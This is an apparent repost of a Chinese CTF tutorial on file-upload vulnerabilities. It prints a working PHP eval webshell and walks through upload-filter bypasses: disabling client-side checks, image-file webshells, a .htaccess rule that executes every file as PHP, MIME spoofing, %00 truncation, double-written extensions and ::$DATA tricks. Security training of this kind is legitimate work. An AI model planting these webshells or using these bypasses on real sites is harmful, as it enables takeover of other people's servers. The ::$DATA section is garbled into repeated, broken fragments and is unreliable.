需要了解的前置知識:
1.什么是檔案上傳:
- 檔案上傳就是通過流的方式將檔案寫到服務器上
- 檔案上傳必須以POST提交表單
- 表單中需要
<input type="file" name="upload">
2.一句話木馬
<?php eval($_POST['a']) ?>
其中eval就是執行命令的函式,**$_POST[‘a’]**就是接收的資料,eval函式把接收的資料當作PHP代碼來執行,這樣我們就能夠讓插入了一句話木馬的網站執行我們傳遞過去的任意PHP陳述句,這便是一句話木馬的強大之處,詳解參考文章
3.檔案上傳漏洞的型別

實體:
1 前端驗證:
將一句話木馬寫進php檔案里,然后上傳,彈出:

這是前端JavaScript控制的,按F12可以看到
function checkfilesuffix() {
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null) {
alert("請添加上傳檔案"); return false; }
else { var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf(".")); if(whitelist.indexOf(file_suffix) == -1) {
alert("該檔案不允許上傳"); return false; } } }
我們可以在前端把JavaScript關掉,這里我用的是火狐的JavaScript switch插件 ,關掉瀏覽器的JavaScript,然后重新提交:

成功上傳,我們打開蟻劍連接

找到FLAG
2.檔案頭檢查:
檔案頭檢查是指當瀏覽器上傳到服務器的時候,白名單進行的檔案頭檢測,符合,則允許上傳,否則不允許上傳,我們可以自己造一個圖片木馬,打開電腦畫圖,畫一條直線,保存然后打開方式選為記事本,將一句話木馬插入進去,我們在進行上傳:

上傳成功,但是使用蟻劍無法連接,因為上傳進去的是PNG檔案,不是PHP檔案,所以無法決議,這時候我們用brupsuit抓包:
我們把filename改成1.php然后再上傳:

這時候已經上傳成功,我們連接蟻劍查看
我們上傳的兩個檔案,然后在上一級就可以找到FLAG了
- .htaccess
.htaccess檔案是Apache服務器中的一個組態檔,它負責相關目錄下的網頁配置,通過.htaccess檔案可以實作網頁301重定向、自定義404頁面、改變檔案擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄串列、配置默認檔案等功能,詳細請參考文章連接
需要寫進.htaccess檔案里的代碼
<FilesMatch >Sethandlerapplication/x-httpd-php
</Filesmatch >
也可以直接寫 Sethandlerapplication/x-httpd-php意思是將檔案都按照PHP檔案來執行,這樣插進去一個PNG的檔案也可以作為PHP檔案執行,從而控制網站

第一步先將.htaccess檔案傳輸進去,然后再傳含一句話木馬的PNG檔案:

然后再上傳一張含有一句話木馬的圖片:

使用蟻劍進行連接:
可以看到我們上傳的兩個檔案,回傳上一級可以拿到flag
4.MIME繞過(關于MIME的詳解)
MIME (Multipurpose Internet Mail Extensions) 是描述訊息內容型別的因特網標準,
MIME 訊息能包含文本、影像、音頻、視頻以及其他應用程式專用的資料,
我們先上傳一張圖片,抓個包:

可以看到型別是 image/png
然后我們上傳一個PHP檔案,將Content-Type改為 image/png 從而進行繞過:
然后成功上傳,用蟻劍連接拿到flag:

5.%00繞過()
- www.xxx.com/qq.jpg
- www.xxx.com/qq.php%00.jpg => www.xxx.com/qq.php
%00就是截斷符號,%00后面的直接舍棄掉,如果用get提交,直接加%00階段即可,若是用POST提交,則需要對%00進行編碼,這是因為 %00 截斷在 GET 中被 url 解碼之后是空字符,但是在 POST 中 %00 不會被 url 解碼,所以只能通過 burpsuite 修改 hex 值為 00 (URL decode)進行截斷,
這里我沒有操作成功,點擊可以參考大佬文章
6.雙寫繞過:
先看代碼:
if(file_exists(UPLOAD_PATH)){
$deny_ext=array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name=trim($_FILES['upload_file']['name']);//去除空格
$file_name=str_ireplace($deny_ext,"",$file_name);
$temp_file=$_FILES['upload_file']['tmp_name'];
$img_path=UPLOAD_PATH.'/'.$file_name;
if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}
else{$msg='上傳出錯!';}}
else{
$msg=UPLOAD_PATH.'檔案夾不存在,請手工創建!';
}
}
繞過方法
這里我們可以看到將檔案名替換為空,我們可以采用雙寫繞過:1.pphphp
7.空格繞過 點繞過 ::$DATA繞過
? 在上傳檔案的時候用bp抓包 ,在filename后面加入一個空格即可,不會被吞噬掉
? 在上傳檔案的時候用bp抓包 ,在filename后面加入一個點即可,不會被吞噬掉
? 在window的時候如果檔案名+":: D A T A " 會 把 : : DATA"會把:: DATA"會把::DATA之后的資料當成檔案流處理,不會檢測后綴名,且保持:: D A T A 之 前 的 文 件 名 , 他 的 目 的 就 是 不 檢 查 后 綴 名 例 如 : " p h p i n f o . p h p : : DATA之前的檔案名,他的目的就是不檢查后綴名 例如:"phpinfo.php:: DATA之前的文件名,他的目的就是不檢查后綴名例如:"phpinfo.php::DATA"Windows會自動去掉末尾的::$DATA變成"phpinfo.php"
- 有時候也是點加空格然后再加點進行繞過
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/300682.html
標籤:其他
